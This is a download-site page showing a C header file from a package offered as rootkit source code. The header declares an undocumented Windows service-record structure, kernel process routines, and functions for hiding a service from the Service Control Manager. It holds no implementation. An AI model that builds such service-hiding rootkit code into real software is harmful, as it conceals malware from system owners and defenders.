⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 service.h

📁 超级极品的Rootkit的代码
💻 H
字号:
#ifndef _SERVICE_H_
   #define _SERVICE_H_

#include "pe.h"

// typedef of a service
typedef struct _SERVICE_RECORD {
   struct _SERVICE_RECORD *PreviousServiceRecord; // next struct
   struct _SERVICE_RECORD *NextServiceRecord; // previous one
   WCHAR *Lp_WideServiceName;    // service name
   WCHAR *Dupe_WideServiceName;  // display name
   ULONG struct_size;          
   ULONG unknown0;
   ULONG sErv;
   ULONG unknown1;
   WCHAR *Lp_WideFullServicePath; // full path :)   
   ULONG dwServiceType;           // startup type
   ULONG dwCurrentState;          // service state
} SERVICE_RECORD, *PSERVICE_RECORD;

NTSYSAPI 
NTSTATUS 
NTAPI ZwOpenProcess(
   OUT PHANDLE ProcessHandle, 
   IN ACCESS_MASK DesiredAccess, 
   IN POBJECT_ATTRIBUTES ObjectAttributes, 
   IN PCLIENT_ID ClientId);

// attach & detach a process
NTSYSAPI 
NTSTATUS 
NTAPI KeAttachProcess( PEPROCESS proc );
NTSYSAPI 
NTSTATUS 
NTAPI KeDetachProcess();

NTSYSAPI 
NTSTATUS 
NTAPI ZwQueryInformationProcess(
  HANDLE ProcessHandle,
  PROCESSINFOCLASS ProcessInformationClass,
  PVOID ProcessInformation,
  ULONG ProcessInformationLength,
  PULONG ReturnLength
);

NTSTATUS HideFromSCManager(WCHAR *service);
NTSTATUS UnhideFromSCManager();


#endif

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -